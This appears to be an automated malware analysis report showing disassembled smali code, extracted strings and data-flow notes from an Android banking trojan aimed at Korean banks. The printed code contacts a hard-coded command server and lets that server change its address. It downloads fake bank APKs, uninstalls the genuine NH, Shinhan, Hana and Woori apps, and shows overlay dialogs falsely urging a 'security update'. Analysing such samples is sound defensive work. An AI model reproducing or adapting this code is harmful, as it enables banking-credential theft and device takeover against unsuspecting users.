245invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: changeapp
246move-result v10
247if-eqz v10, :cond_159
249sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream;
251const-string v11, "\u6b63\u5728\u5904\u7406\u63d0\u793a\u66f4\u65b0app\u547d\u4ee4..."
253invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6b63\u5728\u5904\u7406\u63d0\u793a\u66f4\u65b0app\u547d\u4ee4...
254try_start_145: new-instance v10, Lcom/example/adt/App;
256iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
258invoke-direct {v10, v11}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V
260const-string v11, "info"
262invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: info
263move-result-object v11
265invoke-virtual {v11}, Ljava/lang/String;->trim()Ljava/lang/String;
266move-result-object v11
268invoke-virtual {v10, v11}, Lcom/example/adt/App;->alertBroadCast(Ljava/lang/String;)V
269try_start_159:
270const-string v10, "move"
272invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: move
273move-result v10
274if-eqz v10, :cond_195
275new-instance v10, Ljava/lang/StringBuilder;
277const-string v11, "http://"
279invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: http://
281const-string v11, "info"
283invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: info
284move-result-object v11
286invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
287move-result-object v10
289invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
290move-result-object v6
292iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService;
294const-string v11, "serverip"
296invoke-static {v10, v11, v6}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
297sput-object v6, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
299sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream;
300new-instance v11, Ljava/lang/StringBuilder;
302const-string v12, "\u6211\u7684\u5230\u4e86\u65b0\u7684\u670d\u52a1\u5668IP => "
304invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6211\u7684\u5230\u4e86\u65b0\u7684\u670d\u52a1\u5668IP =>
306sget-object v12, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
308invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
309move-result-object v11
311invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
312move-result-object v11
314invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
315goto_195: return-void
316catch_196: move-exception v2
318invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V
319goto/16 :goto_195
320catch_19b: move-exception v10
321goto/16 :goto_159
Strings
  • http://www.slmoney.co.kr
  • /index.php?m=Api&a=
  • /Apk/
  • nh.smart
  • com.shinhan.sbanking
  • com.hanabank.ebk.channel.android.hananbank
  • com.webcash.wooribank
  • com.korea.kr_nhbank
  • com.example.kr_shbank
  • com.example.kr_hnbank
  • com.example.kr_wrbank
  • \ub18d
  • \uc2e0
  • \ud558
  • \uc6b0
  • KR_NHBank.apk
  • KR_SHBank.apk
  • KR_HNBank.apk
  • KR_WRBank.apk
  • NH\ubc45\ud0b9
  • \uc2e0\ud55cS\ubc45\ud06c
  • \ud558\ub098N Bank
  • \uc6d0\ud130\uce58\uac1c\uc778
Position Instruction Meta Information
0.prologue
1const/4 v6, 0x3
2const/4 v5, 0x2
3const/4 v4, 0x1
4const/4 v3, 0x4
5const/4 v2, 0x0
7const-string v0, "http://www.slmoney.co.kr"
8sput-object v0, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
10const-string v0, "/index.php?m=Api&a="
11sput-object v0, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
12new-instance v0, Ljava/lang/StringBuilder;
14sget-object v1, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
16invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
17move-result-object v1
19invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
21const-string v1, "/Apk/"
23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /Apk/
24move-result-object v0
26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
27move-result-object v0
28sput-object v0, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String;
29new-instance v0, Ljava/lang/StringBuilder;
31sget-object v1, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
33invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
34move-result-object v1
36invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
38sget-object v1, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41move-result-object v0
43invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
44move-result-object v0
45sput-object v0, Lcom/example/adt/Config;->URL:Ljava/lang/String;
47const-string v0, ""
48sput-object v0, Lcom/example/adt/Config;->number:Ljava/lang/String;
50const-string v0, ""
51sput-object v0, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
52const/4 v0, 0x0
53sput-object v0, Lcom/example/adt/Config;->installApk:Ljava/io/File;
55const-string v0, ""
56sput-object v0, Lcom/example/adt/Config;->downApk:Ljava/lang/String;
57new-array v0, v3, [Ljava/lang/String;
59const-string v1, "nh.smart"
60aput-object v1, v0, v2
62const-string v1, "com.shinhan.sbanking"
63aput-object v1, v0, v4
65const-string v1, "com.hanabank.ebk.channel.android.hananbank"
66aput-object v1, v0, v5
68const-string v1, "com.webcash.wooribank"
69aput-object v1, v0, v6
70sput-object v0, Lcom/example/adt/Config;->bank:[Ljava/lang/String;
71new-array v0, v3, [Ljava/lang/String;
73const-string v1, "com.korea.kr_nhbank"
74aput-object v1, v0, v2
76const-string v1, "com.example.kr_shbank"
77aput-object v1, v0, v4
79const-string v1, "com.example.kr_hnbank"
80aput-object v1, v0, v5
82const-string v1, "com.example.kr_wrbank"
83aput-object v1, v0, v6
84sput-object v0, Lcom/example/adt/Config;->upbank:[Ljava/lang/String;
85new-array v0, v3, [Ljava/lang/String;
87const-string v1, "\ub18d"
88aput-object v1, v0, v2
90const-string v1, "\uc2e0"
91aput-object v1, v0, v4
93const-string v1, "\ud558"
94aput-object v1, v0, v5
96const-string v1, "\uc6b0"
97aput-object v1, v0, v6
98sput-object v0, Lcom/example/adt/Config;->bankName:[Ljava/lang/String;
99new-array v0, v3, [Ljava/lang/String;
101const-string v1, "KR_NHBank.apk"
102aput-object v1, v0, v2
104const-string v1, "KR_SHBank.apk"
105aput-object v1, v0, v4
107const-string v1, "KR_HNBank.apk"
108aput-object v1, v0, v5
110const-string v1, "KR_WRBank.apk"
111aput-object v1, v0, v6
112sput-object v0, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String;
113new-array v0, v3, [Ljava/lang/String;
115const-string v1, "NH\ubc45\ud0b9"
116aput-object v1, v0, v2
118const-string v1, "\uc2e0\ud55cS\ubc45\ud06c"
119aput-object v1, v0, v4
121const-string v1, "\ud558\ub098N Bank"
122aput-object v1, v0, v5
124const-string v1, "\uc6d0\ud130\uce58\uac1c\uc778"
125aput-object v1, v0, v6
126sput-object v0, Lcom/example/adt/Config;->bName:[Ljava/lang/String;
127new-array v0, v3, [I
128fill-array-data v0, :array_c0
129sput-object v0, Lcom/example/adt/Config;->icon:[I
131const-string v0, ""
132sput-object v0, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String;
134const-string v0, ""
135sput-object v0, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String;
136sput v2, Lcom/example/adt/Config;->isAlert:I
137return-void
Strings
  • app.gx3.alert
  • alert
  • info
  • #
  • \u6587\u4ef6\u4e0b\u8f7d\u6210\u529f => 000000
  • \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4
  • \ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4
  • \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4.
  • \ud655\uc778
  • \ucde8\uc18c
  • \u6211\u6536\u5230App.Alert
  • app.dwonload.complate
  • app.auto.install
  • apk
  • alert.main
Position Instruction Meta Information
0.parameter "context"
1.parameter "intent"
2.prologue
3const/4 v11, 0x0
5invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
6move-result-object v0
8const-string v9, "app.gx3.alert"
10invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: app.gx3.alert
11move-result v9
12if-eqz v9, :cond_ef
14const-string v9, "alert"
16invoke-virtual {p2, v9, v11}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • name: alert
    • defaultValue: 0
17move-result v1
19const-string v9, "info"
21invoke-virtual {p2, v9}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: info
22move-result-object v9
24invoke-virtual {v9}, Ljava/lang/String;->toString()Ljava/lang/String;
25move-result-object v9
27invoke-static {v9}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String;
28move-result-object v8
29if-eqz v1, :cond_ef
31const-string v9, ""
33invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
34move-result v9
35if-nez v9, :cond_ef
37const-string v9, "#"
39invoke-virtual {v8, v9}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: #
40move-result-object v3
41const/4 v9, 0x1
42aget-object v9, v3, v9
43sput-object v9, Lcom/example/adt/Config;->downApk:Ljava/lang/String;
45iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
47sget-object v10, Lcom/example/adt/Config;->downApk:Ljava/lang/String;
48iput-object v10, v9, Lcom/example/adt/CoreService;->mApk:Ljava/lang/String;
50iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
51aget-object v10, v3, v11
52iput-object v10, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
53const/4 v9, 0x2
54aget-object v9, v3, v9
55sput-object v9, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
57iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
59sget-object v10, Lcom/example/adt/Config;->delPackage:Ljava/lang/String;
60iput-object v10, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String;
61const v7, 0x7f020001
62const/4 v6, 0x0
63goto_51:
64sget-object v9, Lcom/example/adt/Config;->bank:[Ljava/lang/String;
65array-length v9, v9
66if-lt v6, v9, :cond_11b
67new-instance v9, Ljava/lang/StringBuilder;
69sget-object v10, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String;
71invoke-static {v10}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
72move-result-object v10
74invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
76sget-object v10, Lcom/example/adt/Config;->downApk:Ljava/lang/String;
78invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
79move-result-object v9
81invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
82move-result-object v9
84invoke-static {v9}, Lcom/example/adt/DownLoad;->downLoadFile(Ljava/lang/String;)Ljava/io/File;
85move-result-object v9
86sput-object v9, Lcom/example/adt/Config;->installApk:Ljava/io/File;
88sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream;
90const-string v10, "\u6587\u4ef6\u4e0b\u8f7d\u6210\u529f => 000000"
92invoke-virtual {v9, v10}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6587\u4ef6\u4e0b\u8f7d\u6210\u529f => 000000
94iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
96iget-object v9, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
97new-instance v10, Ljava/lang/StringBuilder;
99iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
101iget-object v11, v11, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
103invoke-static {v11}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
104move-result-object v11
106invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
108const-string v11, "\uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4"
110invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4
111move-result-object v10
113invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
114move-result-object v10
116const-string v11, "\ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4"
118invoke-static {v9, v10, v11, v7}, Lcom/example/adt/CoreService;->showNofity(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V
  • Data flow analysis:
    • p2: \ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4
    • p3: 2130837505
119new-instance v2, Landroid/app/AlertDialog$Builder;
121sget-object v9, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
123invoke-direct {v2, v9}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
125iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
127iget-object v9, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
129invoke-virtual {v2, v9}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
130new-instance v9, Ljava/lang/StringBuilder;
132iget-object v10, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
134iget-object v10, v10, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
136invoke-static {v10}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
137move-result-object v10
139invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
141const-string v10, " \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4."
143invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4.
144move-result-object v9
146invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
147move-result-object v9
149invoke-virtual {v2, v9}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
151const-string v9, "\ud655\uc778"
152new-instance v10, Lcom/example/adt/CoreService$BtnClick;
154iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
156invoke-direct {v10, v11}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V
158invoke-virtual {v2, v9, v10}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: \ud655\uc778
160const-string v9, "\ucde8\uc18c"
161new-instance v10, Lcom/example/adt/CoreService$BtnClick;
163iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
165invoke-direct {v10, v11}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V
167invoke-virtual {v2, v9, v10}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: \ucde8\uc18c
169invoke-virtual {v2}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
170move-result-object v5
172invoke-virtual {v5}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window;
173move-result-object v9
174const/16 v10, 0x7d3
176invoke-virtual {v9, v10}, Landroid/view/Window;->setType(I)V
  • Data flow analysis:
    • type: 2003
178invoke-virtual {v5}, Landroid/app/AlertDialog;->show()V
180sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream;
182const-string v10, "\u6211\u6536\u5230App.Alert"
184invoke-virtual {v9, v10}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6211\u6536\u5230App.Alert
185cond_ef:
186const-string v9, "app.dwonload.complate"
188invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: app.dwonload.complate
189move-result v9
190if-eqz v9, :cond_fe
192iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
194iget-object v9, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String;
196invoke-static {v9}, Lcom/example/adt/CoreService;->uninstallAPK(Ljava/lang/String;)V
197cond_fe:
198const-string v9, "app.auto.install"
200invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: app.auto.install
201move-result v9
202if-eqz v9, :cond_115
204invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
205move-result-object v4
207iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
209const-string v10, "apk"
211invoke-virtual {v4, v10}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: apk
212move-result-object v10
214invoke-virtual {v9, v10}, Lcom/example/adt/CoreService;->autoChangeApk(Ljava/lang/String;)V
215cond_115:
216const-string v9, "alert.main"
218invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: alert.main
219return-void
220cond_11b:
221iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService;
223iget-object v9, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String;
225sget-object v10, Lcom/example/adt/Config;->bank:[Ljava/lang/String;
226aget-object v10, v10, v6
228invoke-virtual {v9, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
229move-result v9
230if-eqz v9, :cond_12d
232sget-object v9, Lcom/example/adt/Config;->icon:[I
233aget v7, v9, v6
234cond_12d: add-int/lit8 v6, v6, 0x1
235goto/16 :goto_51
Strings
  • \u81ea\u52a8\u5378\u8f7d\u7684\u5305\u540d =>
  • \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4.
  • \ud655\uc778
  • \ucde8\uc18c
  • \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4
  • \ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4
Position Instruction Meta Information
0.parameter "apkname"
1.prologue
2move-object v1, p1
4sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream;
5new-instance v6, Ljava/lang/StringBuilder;
7const-string v7, "\u81ea\u52a8\u5378\u8f7d\u7684\u5305\u540d => "
9invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u81ea\u52a8\u5378\u8f7d\u7684\u5305\u540d =>
11invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
12move-result-object v6
14invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
15move-result-object v6
17invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
18const v4, 0x7f020001
20const-string v5, ""
22invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
23move-result v5
24if-nez v5, :cond_a6
25const/4 v3, 0x0
26goto_21:
27sget-object v5, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String;
28array-length v5, v5
29if-lt v3, v5, :cond_a7
30goto_26: new-instance v5, Ljava/lang/StringBuilder;
32sget-object v6, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String;
34invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
35move-result-object v6
37invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
39invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
40move-result-object v5
42invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
43move-result-object v5
45invoke-static {v5}, Lcom/example/adt/DownLoad;->downLoadFile(Ljava/lang/String;)Ljava/io/File;
46move-result-object v5
47sput-object v5, Lcom/example/adt/Config;->installApk:Ljava/io/File;
48const/4 v5, 0x1
49sput v5, Lcom/example/adt/Config;->isAlert:I
50new-instance v0, Landroid/app/AlertDialog$Builder;
52sget-object v5, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
54invoke-direct {v0, v5}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
56iget-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
58invoke-virtual {v0, v5}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
59new-instance v5, Ljava/lang/StringBuilder;
61iget-object v6, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
63invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
64move-result-object v6
66invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
68const-string v6, " \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4."
70invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4.
71move-result-object v5
73invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
74move-result-object v5
76invoke-virtual {v0, v5}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
78const-string v5, "\ud655\uc778"
79new-instance v6, Lcom/example/adt/CoreService$BtnClick;
81invoke-direct {v6, p0}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V
83invoke-virtual {v0, v5, v6}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: \ud655\uc778
85const-string v5, "\ucde8\uc18c"
86new-instance v6, Lcom/example/adt/CoreService$BtnClick;
88invoke-direct {v6, p0}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V
90invoke-virtual {v0, v5, v6}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: \ucde8\uc18c
92invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
93move-result-object v2
95invoke-virtual {v2}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window;
96move-result-object v5
97const/16 v6, 0x7d3
99invoke-virtual {v5, v6}, Landroid/view/Window;->setType(I)V
  • Data flow analysis:
    • type: 2003
101invoke-virtual {v2}, Landroid/app/AlertDialog;->show()V
103iget-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
104new-instance v6, Ljava/lang/StringBuilder;
106iget-object v7, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
108invoke-static {v7}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
109move-result-object v7
111invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
113const-string v7, "\uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4"
115invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4
116move-result-object v6
118invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
119move-result-object v6
121const-string v7, "\ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4"
123invoke-static {v5, v6, v7, v4}, Lcom/example/adt/CoreService;->showNofity(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V
  • Data flow analysis:
